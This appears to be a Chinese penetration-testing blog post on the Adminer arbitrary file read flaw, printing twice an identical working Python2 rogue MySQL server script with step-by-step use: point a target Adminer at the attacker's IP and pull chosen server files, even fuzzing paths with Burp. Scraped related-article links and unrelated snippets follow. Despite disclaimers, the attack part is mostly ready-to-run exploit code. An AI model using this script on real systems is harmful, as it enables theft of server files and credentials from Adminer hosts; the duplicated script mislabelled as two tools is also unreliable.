免责声明:

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

软件简介

Adminer是一款轻量级的Web端数据库管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等众多主流数据库,类似于phpMyAdmin的MySQL管理客户端,整个程序只有一个PHP文件,易于使用安装,支持连接远程数据库。

漏洞原理

Adminer任意文件读取漏洞其实来源于MySQL“LOAD DATA INFILE”安全问题,Adminer4.6.3版本中已经修复了LOAD DATA LOCAL INFILE问题。

漏洞复现

在某次做项目的时候遇到一个mysql.php,打开发现是adminer,网上搜到任意文件读取复现的时候,用了网上很多的python脚本都无法运行起来(例如:https://github.com/allyshka/Rogue-MySql-Server)。在GitHub找到一个可以运行的脚本,原理是模拟mysql的运行。

字典脚本

# -*- coding: utf-8 -*-
import socket
import os
import sys #--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#-------------------------------------------------------------------------------------------------------------------- def mysql_get_file_content(sv, filename):
conn, address = sv.accept()
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
# Conn from address)
conn.sendall(
"\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
# auth okay
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
# want file...
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close() if len(content) > 4:
with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
txt.write(content)
return True
else:
return False # 开始监听
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port) # 日志文件夹 # 循环监听
while True:
filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = mysql_get_file_content(sv, filename)
if res:
print "Read Success! ---> "+filename
else:
print "Not Found~ ---> "+filename

直接输入文件读取脚本

# -*- coding: utf-8 -*-
import socket
import os
import sys #--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#-------------------------------------------------------------------------------------------------------------------- def mysql_get_file_content(sv, filename):
conn, address = sv.accept()
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
# Conn from address)
conn.sendall(
"\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
# auth okay
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
# want file...
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close() if len(content) > 4:
with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
txt.write(content)
return True
else:
return False # 开始监听
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port) # 日志文件夹 # 循环监听
while True:
filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = mysql_get_file_content(sv, filename)
if res:
print "Read Success! ---> "+filename
else:
print "Not Found~ ---> "+filename
这两个mysql任意文件读取脚本 一定能满足你的需求!

项目提供了两个文件,dicc和input, 一个采用字典的方式进行任意文件读取 一个采用交互式界面进行任意文件读取 不需要进入vim! 用字典直接读!命令行直接输! 结合burp intruder,直接fuzz出flag!

采用了socket的端口复用技术,防止端口被系统占用,想绑定就绑定,为所欲为! PS: 端口复用只能防止套接字关闭后被系统保留,如果端口上已经有mysql应用,则还是不能绑定​ 会爆socket.error: [Errno 10013]错误

直接输入文件绝对路径读取脚本使用方法

python2 exp_input.py port

python2 exp_input.py 3306

脚本运行需要使用python2环境
输入想要读取的文件绝对路径,然后回车

打开adminer页面输入服务器的IP,用户名密码数据库可以随便输入。然后点击登录

看到如下代表成功读取文件。

成功读取文件。

字典脚本使用方法

把路径字典写到dict.txt文件

然后运行

python2 exp_dicc.py port

python2 exp_dicc.py 3306

此时会进入监听,可以在命令行输入你想读的文件,然后发包即可,每次发完包需重新输入文件名 直接回车即可退出,读取成功的文件也会被计入到log文件夹

工具下载地址

免责声明:

仅限授权安全测试使用,禁止未授权非法攻击站点。本文章仅供学习和研究使用。严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

渗透测试中遇到的Adminer任意文件读取漏洞的更多相关文章

  1. 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  2. 【代码审计】XYHCMS V3.5任意文件读取漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  3. 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  4. 24.Windows任意文件读取漏洞

    漏洞概述: 近日,国外安全研究员SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC.这是2018年8月开始该研究员公布的第三个windows 0 day漏洞 ...

  5. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  6. PHPMailer命令执行及任意文件读取漏洞

    今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...

  7. Natas7 Writeup(任意文件读取漏洞)

    Natas7: 页面出现了两个选项,点击后跳转,观察url发现了page参数,猜测可能存在任意文件读取漏洞. 且源码给了提示,密码在/etc/natas_webpass/natas8 中. 将/etc ...

  8. 蓝凌OA前台任意文件读取漏洞利用

    近期CNVD爆出漏洞编号:CNVD-2021-28277,首次公开日期为2021-04-15,蓝凌oa存在多个漏洞,攻击者可利用该漏洞获取服务器控制权.今天挑选一个蓝凌OA前台任意文件读取漏洞进行分析 ...

  9. Atlassian Confluence任意文件读取漏洞

    Atlassian Confluence Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi.该软件可实现团队成员之 ...

  10. Resin任意文件读取漏洞

    Resin是什么 虽然看不上但是还是原因下百度百科: Resin是CAUCHO公司的产品,是一个非常流行的支持servlets和jsp的引擎,速度非常快.Resin本身包含了一个支持HTTP/1.1的 ...

随机推荐

  1. SDIO移植

    1.拷贝 STM32F4xx_DSP_StdPeriph_Lib_V1.8.0\Utilities\STM32_EVAL\STM324x7I_EVAL 目录下的stm324x7i_eval_sdio_ ...

  2. 【原创】FFMPEG录屏入门指南

    下载ffmpeg 点击 ffmpeg官网,选择windows,然后点击Windows builds from gyan.dev: 也可以直接点击 https://www.gyan.dev/ffmpeg ...

  3. JUC在深入面试题——三种方式实现线程等待和唤醒(wait/notify,await/signal,LockSupport的park/unpark)

    一.前言 在多线程的场景下,我们会经常使用加锁,来保证线程安全.如果锁用的不好,就会陷入死锁,我们以前可以使用Object的wait/notify来解决死锁问题.也可以使用Condition的awai ...

  4. Kubernetes Operator: CRD

    Custom Resource Define 简称 CRD,是 Kubernetes(v1.7+)为提高可扩展性,让开发者去自定义资源的一种方式.CRD 资源可以动态注册到集群中,注册完毕后,用户可以 ...

  5. Kubernetes 多租户:多租户介绍

    多租户集群由多个用户和/或工作负载共享,这些用户和/或工作负载被称为"租户".多租户集群的运营方必须将租户彼此隔离,以最大限度地减少被盗用的租户或恶意租户可能对集群和其他租户造成的 ...

  6. 使用python连接elasticsearch

    官方文档地址:https://www.elastic.co/guide/en/elasticsearch/client/python-api/current/overview.html 安装的时候注意 ...

  7. 记录一次Bitbucket鉴权的坑

    目录 发生了什么 什么原因 如何解决 总结 发生了什么 今天首次在Fedora上使用git,因为没有小王八(TortoiseGit)帮助,其过程异常焦灼-- 反正经过一系列折腾,我在本地新建了一个项目 ...

  8. 关于使用git传输文件到GitHub

    git status(查看本地git仓库情况) git add "文件名(精确到文件拓展名)" git commit -m "说明"(提交到上传缓存区域) gi ...

  9. git-secret:在 Git 存储库中加密和存储密钥(上)

    当涉及处理机密信息(如密码.令牌.密钥文件等)等,以下问题值得考虑: 安全性十分重要,但高安全性往往伴随着高度的不便. 在团队中,共享某些密钥有时无法避免(因此现在我们需要考虑在多人之间分发和更新密钥 ...

  10. 大数据技术之HBase原理与实战归纳分享-下

    @ 目录 整合Phoenix 定义 为何要使用 安装 SHELL操作 表的映射 简易JDBC示例 二级索引 二级索引配置文件 全局索引 包含索引 本地索引(local index) HBase与 Hi ...